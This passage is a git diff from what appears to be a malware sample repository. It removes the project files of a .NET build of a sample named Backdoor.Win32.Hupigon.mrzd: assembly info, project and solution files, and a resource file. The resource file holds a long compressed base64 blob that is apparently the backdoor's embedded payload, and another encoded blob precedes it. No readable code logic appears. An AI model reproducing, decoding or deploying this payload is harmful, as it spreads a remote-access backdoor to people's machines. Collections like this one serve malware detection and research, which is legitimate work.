tfSrOcBkVpTg53Dbk6yqS1nVzAX6eMtzW6CYbSzS4eLNxzmk7MPk5ML5A/1QXGrE7nK3yRv6pPJ4+ak5 - b3p69jHcuzY0tgqhygZiA6wsiscj8qto1SZ+E74at9GHnGjxQEJ24FOL72InDco4StzkkD3jY8dTFpze - J3J2xj00TE7JAvx2cVOGsNMoONabGILgXZI37fG+EvYEcRFBc+MQ/TC7O+Bnrq5Qo9nhM97s1A1WPlzH - U8rhonj1K9BWCk4Gm3x2QL99SvnXza4DbiT7CBH4eMQRMGrGMCYW6tDhZ4YTKB4rA588FWnCc1eqWG2k - X9CNJhYi6rghjeO1pCWplbyN+IJi3A9mECpimEJPGTqT8q2/1D9LOCdnNMIrCUNAafvKsOQegy1sKTk7 - 0/HLklB2mvncd+U8cf/xsXeznviejcOY/NWeWU8yL+Z2LywZzcwQqOVEZjmTbemVnk+QQaWTISP6UTr1 - g51uj1vjNC5gZ/PcyyrV3se2CPn6sNrkfM0ar23ePu7rZ10kBp1NMnrTNDvhudqxe91munz/veC5T8Za - VOYzjjhO03IeELpyyrBGAxLTAZ6DuH1uUUpfpjRnH2yHbz9oE/Ac86WV35Dfo3Zm1DrfHuoqrhSN4FWg - wniTug8g2PrX5CrroxxWvVyTZXmTvDkapwKlc+xwY57FhrrfVFf9QEAVhXGsVUjOUvdkFTltAx89SyR6 - 9d3xomNpF9URZ5SN8W8cLXYHuUX+McCmugCueOKQDWpVzjk1xRU58mJFwdXAZHkmSOjh892ohUQJ7n+e - Ad8n/mW00ZsGd2w12r9uW+FZX4SKb1ehSmtSQzA9FZsW8/sbQXbL3P+SJldO5tbpOx0R/NCpw5qRpMSf - YI2tr6nAHMGZDuXLXjEPmvG43IMyvhkAp/xxL+p7ruf5hvp2uBsz8XGjX5mDbcVucyjjzFEgfqfLkj/T - BMuMsgb2UouEdIn3rIgmOUSGcpI/AuyOHbCJ+7tI9EvwxsSPco0q7yvj34Nws6Ig9dNb9bTpwRid9x52 - g9m7kylWfpBU2sAfHBSijcbqvbb9hLvupUnQGLinYRRPC0nKt+pnlqFoVMoJAn5HFVuIq8VVSu9MuQ31 - e6xRlYeRIt8y8zRx1K3zy1N+qSl9REvXyxbvCPB6Bo7PPiOSq9pnPbwgx8Xc2G98/vAj2J72yfw7y/4p - b9sBsiduqbX7X4E2gIfJxd0nMxqCAFMVA0PYei4wm2kdN5zUIiyeegwKpzijW+7ntz4UnCg/T51LfLSc - DAlSpvxJD4tXEYWDvb902mhvNWAB+Fh1Q/hs3OdkIqR4Duop0Tle+0GKVpjEHzv0cqSrEUyXcBIqsj6E - TJuEgW8GoxuwYvPgarsUYmkrY7KfF+826I9uMv4/I8mM3BBhXKqwda21mleLsM/MiKkGM5/TKiL69TsF - XUMuLxnMa4L2mYT/NBSQWJgH11CTmzgz5f4s+1JRVT4qZhulI2ZBqSLcml+Vr9Wm8Zg3ry5u1fWx8v7q - jJndwK82743W/G2Vfd/cWOlRbSqqC+VoMJ0r28uhE2QG3y32HzWQ5LA/NvAPzlpsPfYUdQO5xq3up5GX - UEFERElOR1hYUEFERElOR1BBRERJTkdYWFBBRERJTkdQQURESU5HWFhQQURESU5HUEFERElOR1hYUEFE - RElOR1BBRERJTkdYWFBBRERJTkdQQURESU5HWFhQQURESU5HUEFERElOR1hYUEFERElOR1BBRERJTkdY - WFBBRERJTkdQQURESU5HWFhQQURESU5HUEFERElOR1hYUEFERElOR1BBRERJTkdYWFBBRERJTkdQQURE - SU5HWFhQQURESU5HUEFERElOR1hYUEFERElOR1BBRERJTkdYWFBBRERJTkdQQURESU5HWFhQQURESU5H - UEFERA== - - - \ No newline at end of file diff --git a/MSIL/Backdoor/Win32/H/Backdoor.Win32.Hupigon.mrzd-97a335ad9a7d65429e8d9aedeaa1dd6b93990dd399d43ca43d8ef174c0f0faee/AssemblyInfo.cs b/MSIL/Backdoor/Win32/H/Backdoor.Win32.Hupigon.mrzd-97a335ad9a7d65429e8d9aedeaa1dd6b93990dd399d43ca43d8ef174c0f0faee/AssemblyInfo.cs deleted file mode 100644 index 1e886428..00000000 --- a/MSIL/Backdoor/Win32/H/Backdoor.Win32.Hupigon.mrzd-97a335ad9a7d65429e8d9aedeaa1dd6b93990dd399d43ca43d8ef174c0f0faee/AssemblyInfo.cs +++ /dev/null @@ -1,3 +0,0 @@ -using System.Reflection; - -[assembly: AssemblyVersion("0.0.0.0")] diff --git a/MSIL/Backdoor/Win32/H/Backdoor.Win32.Hupigon.mrzd-97a335ad9a7d65429e8d9aedeaa1dd6b93990dd399d43ca43d8ef174c0f0faee/Backdoor.Win32.Hupigon.mrzd.csproj b/MSIL/Backdoor/Win32/H/Backdoor.Win32.Hupigon.mrzd-97a335ad9a7d65429e8d9aedeaa1dd6b93990dd399d43ca43d8ef174c0f0faee/Backdoor.Win32.Hupigon.mrzd.csproj deleted file mode 100644 index 57d5e4b3..00000000 --- a/MSIL/Backdoor/Win32/H/Backdoor.Win32.Hupigon.mrzd-97a335ad9a7d65429e8d9aedeaa1dd6b93990dd399d43ca43d8ef174c0f0faee/Backdoor.Win32.Hupigon.mrzd.csproj +++ /dev/null @@ -1,48 +0,0 @@ - - - - - Debug - AnyCPU - {D468C307-D4C7-4135-BB12-05D6AAAD2521} - WinExe - 12 - 0.0.0.0 - My - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Backdoor/Win32/H/Backdoor.Win32.Hupigon.mrzd-97a335ad9a7d65429e8d9aedeaa1dd6b93990dd399d43ca43d8ef174c0f0faee/Backdoor.Win32.Hupigon.mrzd.sln b/MSIL/Backdoor/Win32/H/Backdoor.Win32.Hupigon.mrzd-97a335ad9a7d65429e8d9aedeaa1dd6b93990dd399d43ca43d8ef174c0f0faee/Backdoor.Win32.Hupigon.mrzd.sln deleted file mode 100644 index d295b92d..00000000 --- a/MSIL/Backdoor/Win32/H/Backdoor.Win32.Hupigon.mrzd-97a335ad9a7d65429e8d9aedeaa1dd6b93990dd399d43ca43d8ef174c0f0faee/Backdoor.Win32.Hupigon.mrzd.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "12", "Backdoor.Win32.Hupigon.mrzd-97a335ad9a7d65429e8d9aedeaa1dd6b93990dd399d43ca43d8ef174c0f0faee.csproj", "{D468C307-D4C7-4135-BB12-05D6AAAD2521}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {D468C307-D4C7-4135-BB12-05D6AAAD2521}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {D468C307-D4C7-4135-BB12-05D6AAAD2521}.Debug|Any CPU.Build.0 = Debug|Any CPU - {D468C307-D4C7-4135-BB12-05D6AAAD2521}.Release|Any CPU.ActiveCfg = Release|Any CPU - {D468C307-D4C7-4135-BB12-05D6AAAD2521}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Backdoor/Win32/H/Backdoor.Win32.Hupigon.mrzd-97a335ad9a7d65429e8d9aedeaa1dd6b93990dd399d43ca43d8ef174c0f0faee/M.resx b/MSIL/Backdoor/Win32/H/Backdoor.Win32.Hupigon.mrzd-97a335ad9a7d65429e8d9aedeaa1dd6b93990dd399d43ca43d8ef174c0f0faee/M.resx deleted file mode 100644 index 76f5dcdf..00000000 --- a/MSIL/Backdoor/Win32/H/Backdoor.Win32.Hupigon.mrzd-97a335ad9a7d65429e8d9aedeaa1dd6b93990dd399d43ca43d8ef174c0f0faee/M.resx +++ /dev/null @@ -1,10405 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - - - H4sIAAAAAAAEAO29B2AcSZYlJi9tynt/SvVK1+B0oQiAYBMk2JBAEOzBiM3mkuwdaUcjKasqgcplVmVd - ZhZAzO2dvPfee++999577733ujudTif33/8/XGZkAWz2zkrayZ4hgKrIHz9+fB8/In6XP/Y3+DXw/Dq/ - xn//9//6f8DvdPZn/O6/8O7in/nFf+B3fsV3/s3/qP2Lf4M/6A/4LX+3f+tP+j1/s//uH/6j/vn/4k/5 - 737n4vMfv/PXfusP/mfyn8y/f/7b/J7/3H//5/99v/I/+MX/498v//w9h3/+i49/5X/4f/8ev+/57Ncs - /9d/4Tv/zj/9F/yuf9Bf80/9Lr/HL/2Z3+X3+Ogf+N/+6j/zH/wn/sZf8fb/+B3oxy97+3/8Ff/gP/F/ - /59/4P9Nf/2Hv+LtP/XLfvH/9Tv8g3/o//V3/Me/6v4f+Mf//v/p//ir/vlf+sf/h//Z1a/6d3/pf/cX - /t/f/7//ht//l/2q3+P//nv/r7M/8F/5c6//5b/sr/17/p6/6m89/Xt+7weLR//0v/qDv//5v/nP/j6/ - 31/5H27/Gb/yf/2l/+l/dvWLVz/+3/0u/8ov+19++b/5v93/C/7vP+cf/F//xv/5T/w/7vyB/0Xzy/7t - P/CXv/0//ug/8H+q/re3/9dP/YP/59/4N/+y/xboVH/El7/0D/39/9Pf5Qf/2+/4L/+P/+Cv+Zv/Eb/0 - t1j/b7/s9/8N2z/1n/w//o/7v9//9ex//03+wP/z7f/0u/yDf+X/9a/9i7/i1/89fv1/8Zf+pb//f/or - /6/1H/gb/xG/+H/6b69//3/vf7m++t9+x//zd/gH//0//q//3//F7979A//H3/lX/fcPVr/Bv338T/2y - X/83v/NX/fvj//sf/tv+or/jL/39/8p/83/4lX/Z5X/69/zVf+X/9p8++NX3343+wV/vn/rbfstP/7LL - //vl//Zf/Il/wV/4j/+X/8G7//Lov/hVV//nH/8H/ncP/rdf8Qf+qr/z//5L/8H/4+7/9U/+3//1H/if - /I3/13+Pjv/Hv//kl/0vf/1/+D/9m//bH/4P/ud/4//8G/7f//Bf+3//t//3/7X+pX/rf/jL/s3/7W// - A//Pj7/66r/4t/+Xf/P/uP9L/7vv/YP/w9/63/2Z/8d/+Af+6v/7+5/+qr/xl/0Vv99/+Qf+H//jzv/+ - X/2b//v6xX/x+/yfv/j/+A//9T/wf/sD/+9/5vf/H7/83z/7A//jv/FX/bd/4fa/+3989Df+gX/+n/h/ - /UX/96/+N/+3X/v//rf+wP/qV/5f/+A/+HddrX/lv3ld/5///v/yn/6PP/kr/rt/8x/4P/6DX/G//d// - 1x/6S//QP/UfLH9y9H//8f/Nd//vf+Yf/L//zb//V7/9P87+wH/j4Ff9ij/n7/gF3/8/8n/wn6/+tz/1 - //5X7/7q3+NP/R9/m7/1//gV/+P/8nf+n8/+6T/z9/gVf+p//r//pkf/99Uf+9/9mf/3s3/wV9393+7/ - gX/i7/9f/u93/7cH//c/8B/+r3/n/375v/+3/+fye//gv/p//6pf/DO/6p89/yv/wH/pP/yV/+0/+Kvq - /+Vf/VV/2//53/8P/0f1B/7qP/AP/L/+2//7f/2//6e/8Vf+73/Pr/pnf5t/8D/9Pf6n3/T//uN//X/w - 363+nD/v//wXf8X1p//8f/h//Qt/4H/we1z9X2//r5P/8Bf/r2//7/yX/fL/8P/8Pf7vf/Q//L//yX/h - L/ht/vlvvf0rf9n/+R/+17/y/1z/0r/+//5lv+nzP/APffB//5u/x6/8I4/+z3//l/75//d//w/+X9t/ - 4B//3/2q//D//uTL/+sP+w//lv/zL/2//u4/8H/48v8++b/+kd//f/wbf+n/9bv8H//9//1//oX/+9v/ - 69/+A3/1//bgfzv8+Jf9h/9j/V/+nf/bH/kP/h+f/Qe/8//14h/8H6tf/nv9X3/Cv/gH/p2/f/t//bG/ - 9P/4j/7C8dH//dkf+C9X/9d/8Q/+3//jL/2v/+vfZffw//pN/6//8T/8P//N/+23/QcgE//3P/l7/N// - 5f95/Qf+B7/Lr/wH/8//5f/+r//Bv/Qv/AP/gz/wV/yF/+fn//cv+KX/1/f+73/nf/zVd//j//L3+JW/ - +P9+/X//dr/0/zr5A//D//BX/J3/8X/5H/7yf/P//OoP/O1/6f91+gf+B3/u7/Eb/h7/99/2e/zX//X/ - +Ef/hX/i//13/R4//bv8HlfP/sB/63f55b/pv/Iv/oXX/+Y/8H+d/N9/8z/4P/4u/8ff+3//q8QJX/x+ - /8Cv+huP/ve//Q/8Q//v9S9/+3f8g/9D9b9f/V9/78V3/8H//Vf+n//+5f/1b/2Bv/xf/Sv/w1/9+d2f - /M+r//2f/Q//z3/6D/xv/g9iuX//X/xb/+//4m/83/6b/+Y//NX/yR/7y//Av+af/T3O/4y/4Jf+L7/L - //EX/t//0d/4r/42//re//nX/qt//5//5/+f/3L17vf4Jb/P//F7rf+vP/D/+h2//L///b/t/1j/fr91 - Xv/Kv/TvefQv/rn/xf/9v/+mv+3//b//tf/h3V/yf/67f9t3/+3/8Vft/4P/3D/703/7P/V//5v/96/+ - A4/+vV99///6K//DX1797//8//0v/9//yZ/4f/7G/9d/9Z/9if/n//o3/rJ/8v/6C/7Bf/of/GV/5y/9 - H7/7B/6X/+av+kv/wv/j1/td/sp/+r96cPC///F/x//9l/2Df8n/9s//0r/0P/zvfv9////+H//v//4P - /c/+6+p//VP/wX+9+pXf+/v/z/+E2v+dv/o3/Tv/r3/0V1X/03/7f5z/g//+L330f/0Hv//V//3b/pX/ - 93/8m/7Sv/f3/y+v/vd/+N/4S//D//S//o//x1/yP/6x7X/7l/4u/8fv9wf+K//lr/wH/rfv/oF/7H/5 - vcPDv/H/+tf/wf/+V/7v/+7/9Y/8hf/HL7n6Tf6vX/3d//v//GV/6D/9H/6qX/3P/ya/9G/88//A9f/9 - K/+Pz/7D/+s3/L//h//wf/oH/8//8A/8r/7A//N3/D//nP/7X/sbf9W/+H/8M3/gr/7f/87/4zf9v/+C - //tv+j/u/5O/xy/7c//vH/zK/+vf/2t/j//pf67+rz/y//pH/8F/++/9v/+vq1/91/9f/9Zf+R/+73/p - X/h//V//+e/y7up//Df/7v/7z/8P/6N//2/836Z/4N/5e/zv/+av+v3/7//0H33wT/+Fv/wP/L/Pf9P/ - +z//Pf73B//37/Xv/P7/7W/7f/yH//e/+wf+b7/H//0P/9+/4vf/Ff/Rv/mr/9L/+8/+A/+3f/D/+tv/ - wH/1H/xP/8P/7e/9v/7G//C/+f3/zz/yl/6bv/9/+eX/8a//g7/89/g//tW/8x/42/+vP/GX/pm/x//+ - +/9f/9W/+X/++//K7/Gf/r1/4L/8D/7fAPHP/wvV//bf/C7/V/VL/9D/8L/7v/+v//o//L/+wv/r+3/g - X/t//6d/4P/2u/xff/bv8b/9Lr9q+//+3/7D/+r3Jw78t/7C/239C/6ve3/gL69+xf/y4Fc3f8z/+C/8 - 0r/+9/jf/7ff5Vf/7f/3P/0P/orf9v/+d//B//k//gf/99/l//y3fo9fdfh//fg/+B/9Lv/nP/h///t/ - 4K/+W3+PX/63/vIH//t//q///v/H4f/5k//3f/s//qo/8P/4c/7b//D//E3/z7/8H/zff/X//b/9nf/3 - n/j7/1/f+w//wV929//8n//DX/W3/9//1X/4X/+Jv/SXvf0/qz/wf/q/iZF+7f/7f6r+j3/3//4r/sD/ - 6h+/+qX/4D/4X/6B//sXv/T/+M//7//58P/+Gz//A/+vy//zez/zy//b/+t7f+Av//t/j//1wf/1e/zf - /+T//St+j//rH/1N/69/9x/81b/pu//zn/y/vvflH/j3X/0e/+d/+8/9gX/8f/jf/ap//R/8Zf/m//lr - /rLq//5Nfo//k0zD//3v/S7/12/6f/42//f/9ff/L7////6b/tK/9B/83/7C//3j//vP+A//s7v/539P - ePxn/9PvQjL3n/yNv3r6f//l//d/9tf+Hv/rX/ir/sz/63/8v3/Zr/zVf+Rv8i/83//D//1f/bY/87/8 - i//Xv/wH/t8f/9//ze/yq//E/+Mv/+7v/3/+N//s//2//qb/58Uf+L/8pv9ndf4PntT/4+/yv/9ev8vP - /O+/y//1z/39/+F/9Xf+73/q//UX/Yv/wL/1q+7/O//i//XvHv6Bv/r//D3+o//w7//f/vj/+//85X/g - //Er/6//4R/8b/7ef/Bf/Q//l7dH//df+H/9RX/g/33xp/z+/+Wv+l3+13/3/27/lr+XTMJ/+j/+X5// - gf/R3f/zn/4ff+mv+Cf/r+/+gf/Hf/h//bn/5+d3/69/6Q/8T/7NX/WH/t9/7O/xH/1v/9N/9Cv/r+YP - /Dv/wv/j9V/7B/5v/8N/+Mu+/D/+4/97efi//+t/YPsrfsf/4y/+v/+Rav0rfsf/8/of/L/+l//x//xd - /u9/9j/8lXf/rz/3//qnf///+2/8vf6v/+o//FV/5//5l/4e//cv/zt/9ce/9N//N//vf/RLUkL/3f/y - u/yf//z4H/y/f/X//Uv/7//sX/+//+ff6//+536P/+E/JHL8lb/HL/8D/7d//s8hivxvfzn44e/9P4/+ - wf/9H/y/pzAe//z/+L/+t//Hs3/wX/6///c/8f/49f7b//A//j1+9R/6Z/zr//f/+Tf+X//4//1Pf/n7 - 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 - 4X/7f/9X/+Tv/3eSdJJe/+Jf/L//0//7v/r9f9Uf+Uv/OzJ+f+A/+Hv8x//B//oP/upf+c//Lv/n33P1 - S//dP/C//hP/zz/6P/xP/sL//Y/8/f7vz//B//1P/L/+zP/rP/6//6t/85dc/99f/u9f/t///f9+RVb2 - L/r9f+Uf+H/+8//j//G9X/lLJ7/i3/6//+fv/S7Ebr/y//6f/8P/63//A3/5P/gr/vP/8Jc/+D9+/O/9 - xX9g9r/86v/zv/4Xf+Ef+E/9h9//mV/6P/1Pf+Hj/+Mt0eK/+eVf/uq//v/+mw7/wf/wX/0Hf/r/+nP/ - j/Ef+C/9/f/p//7g//zxX/qX/h6//F/4C/+P3/H/+P3/wf/lf/zf/vo/8L/8v/+jB+QI/KO/x//+B/7v - f+0/+Cv/uwf/58k/8L/9Z//gr/5Lfw+a57/sT/y//uXf43/9V//vX/G7/Kp/A4z1Z/+B//zv8X+8/T/+ - hT/wf/tXf///9D/8P6e/x//1r/+B//b//b8e/nVkhP/Kv/D/fPDf/1e/8v/87u/3f/8Hf+P//T//Hv8X - OS9/4v/91//+//f/Uf3v/+gv/bf/u3/xV/3hf+A/8T/+itd/4D/95f/xN/7fv+q/O/wbr/6vf+b//o/+ - zj/vD/wV/+P/9ev9gf959Sv+xv/7zj/5D/7rf+cv+KX/7X/4f//a/8D67/ul/+tP/Kr/5k/8Jb/iD/zv - fun//Cv/r3/6//5P/sJf/uf+H3/KH/i/fPmLf/Uf+gf+il/xH/5v/+H/8Y/9tf/iL/1vfuWv+it/0//r - j/y//7t/8W/8X/+U//t//f0phvrn/o7/63/4+B/8b6tf/Qf+Hz/5D/7rf+Cv+G//r9/x//7PfxdisC// - 7//gdyFT8Z/9gf/Tf/1//9Kf+hv/73/i9/9Vv/w/+L//5v/znzz6v7/4N37l//0v/YH/+2/6f3z+f/2P - /+Cv/h9/9T//f/2bF//3P1n9Tf/XZ//3f/T7/5//4d9+9//+3/7U//CXX/0fv+kv/fN/j/H/+Zf+gf/h - L/6//92/8H/+/P8+/L//i+qX/Xe/6a/64//vf+EP/M9/5f/97//S/+XX/7//5+xX/x7kqf13v8v/8df+ - D//Xj//f//1/+Kvv/h9X//e/8T/+b7/67//f/sP/4f/4Df/dP/CX/b3//j/43/ym/9e/+Xv87//j//WH - /B6/4n/8ff/E/+vv/T3+13/zV/+G/+of+J/9q7/Hf3f3f3/7f//3f+8f+G/+gf/370X68b//Nyk0+Ld/ - ///0T/y/f8Px//W//P6/9//1h/61f+D/8p/937/d//2nki363//Ff+9X/cakd/+n32P5f3/+Hx7+W7/6 - j/2//pPf/1f/ib+q+b/+JPIgHxBr/yf/d/Z//YPkE1J08z88+N//0n/jH/zvf/9fefh//Jf/4P9Z/W9f - fvZ//Jn/7X/4X/2B/9vi//7zq//zxR/4v9MHF/8txU3/8v/9K37H/+uP+B45O1f/56fEb2Stf/wP/OW/ - x//++f/96R/4b/6J/+cf/Af+h9Uv/zMpSvhH/u9f9T/+X//h//2f/S7/9//xT/4r/yPpiP/iD6z/y9+f - ooK//P/+1Vf/51/5S//5v/MfJFfpvyVF9W/e/Q//gZ+hOOSP/Qf//er/+JW/3/+9+3//Z//3//m/X/3v - P/5//52/+r//e//v//qf/99+l3/gf/sN/6//6g/8X7/8337H//D/+Av/wf/lP/o3/49/mgzm//nF7/J/ - 3fv9/887/+B//V/9ne/+t3/x//7Df5f/8+//v7/9f/6O/8ef8A/+E3/gvZ/+pf/tv/4P/m//8r/7H/5n - f+Gf+3//c7/L//In/p+f/YO/+v/+ny9+6a/8H/7CFeH2P/+B//wf+Kv/wv/7Pz38A/+r3+P/+G//vV/1 - N/7ff9rv8b//Hl8c/eL/9Y/9H/+vH/sH//P/8Ff//v/nP/Y3/qpf/ef9X89+j//51yeH9b/8D3/Vl//X - f/MP/kpSg7/0//iVv/r3+KX/3T9Is/2H/oX/x5/7C/6v3/8f/11+9b//e/wP/+bv+3//W7/L//4v/nn/ - 90/+3/999av/yf/rb/+//81/8Gf+r3+QTNJ/8Q9S/Pbn/rv/4P9A/vPv8X/8Lv/Xf/l7/O+/8v/+D/+v - /+iv/E//7//07r/14pf+qf/gf/wf/m9/5h/4D/7Pv8sf+L//nf/3j/3Ky1/69/4e/8M/+H/8k//33/9/ - /6f/5B/4p/4e/8l3/88/8//+1//df/H//hP/wf/m3/w/fmcKyP6Hf/4//OX/4f/9m/zf/9Y//Df+qv/p - y/+dkhe/x3/yD17/z7/L//Wb/N//ya/8v/6E3+Mv/9+a/+H//Gv/73/83/5Df4//7Dcd/9I/9Q/8Fb8L - eRD//O/yq3/dP/H//nv/1z/z//pjv/vfX/yB/1n1v1X/x1/5f//Kf/BX//r/9y/9A//vL//Pf/n//td+ - j//j94dJ+z3+9l/9B/6H5Hf+S3/gL/tN/48/82My5r/sf/w/sn/w3/gbf/Xf+3//O//3v/Qv/C7/979O - jtwf+Ev/pz/x9/0//4g/8L/6Hz/9v/70f/A/+jd/VfUH/sN3SZn8p//h//xv/tV/4J/7e/xfFCX/i//d - /7H7B/5Lv8v/9g/+n7/5//2/Xf2B/+fv/8v+wP/9f/5dfvWv/L//q//89//7/rf/7Ktf9hf+X+P/+3/5 - XX7Vn/t/jf/Bf/Uf/J//+z/wf/7q/3r9X/6Bq//1F/+fP/F//y+////xd/59/8d/+Ev/6d//f/vu//HX - /oH/zO/yd/7qX/1//qM0k//7v/v4//r4l/7z/+F//G/+6v/0D/wf/8z/+7/+v0kX3Cdq/t+/JSV8/nfS - ML/0v/9dPqGg9t//P87/71/2e/zv/yGZjf/lP/w//87/+4/8A//vv/N/3yaR/uUP3v3Kf/N3+7//L/Ip - /8/X5Iz8H7/6//gr/8H//i/81f/h//k3/4P/+D/4K9/+3//sH/jf/R7/y/T//o/+wP/jt/0//8N/8D/9 - Xf6vv/Gv+wP/+l/8f/9L/+X/PfnF6//79/jfKjJO/+vf+R+QqPw3/+F/Vz3+P/7n3+N/+/2//3//s//8 - 70FO+Pn//V9V//7/9b//3//o70Jq8r//Xchn/oP/w1/18f/1L/9y0un/99/4f//q3+P/+Mv/wX/7P/5T - /8OS+PVv/j1+xe/4O/1f/1rV/qp/9//+m//vf/V3+dW/C/nM//0/+MsOf8H//af+/v/H30yJrP/zd/k/ - fuMvf+lf/+X/9Sf/h//X3/ir/rP/5Ff+n3/oH/i//7t/4C//G3/Vd/+vP+RX/YO/4vf46g/8J//GX/Ur - f6f/+//6a3+P//27/9fHf+vv/z99/j/+Hx//3//k7/I//7dk2f/5//F/+U2JFX/Zf/i//JX/x5/zn/6B - /81v+n/+lZf/11/1+//f3/0H/8/m7v9Nzud3/89P/u//+P/+P/+zq//9s19K/f+R/+P/9Q/8gf/Yr/y/ - //N/8g/8Z37Zr/8P/qd/4//99v+++BW/yy8//D/+HfKI/7T/68+mpNav+ncpEfWf/53/9y/7/f/Tv/P/ - /LX/wD/3u3/g//o//qq//j/8T//O/+v7v/Sf/Af/owf/13/wP5B//kspJfJ//YH/6f/9v375f53TFP0f - /+T/dfjln/Cv/N//zZ/4f37+B/73f+B/8gf+6v/2//63fo//6T8hp/Ef/MX/5y+mHMU/8Of93//AH/jL - /sD/43f8G/+Nf/X3+F//2v/7v/jX/8D/tfqd/69/9rv/+t3/6/f4A/+X/+VX/4P/MKX1/kGKFv+Q3/9f - +j/+jr/wP/jV/+N/+H/9LuR6EUCK0f7r//C//jv/t5P/+0/+v/+7f/0//D/+yb/g/7r8Hwnm//h7/J9/ - OrnJr//vP+Q//O9+01/6K//Zf/K//Q//k7/zV/3+f+C/+H//93/g4v/+F3//X/l3/m+/+pf+dw/+73/j - 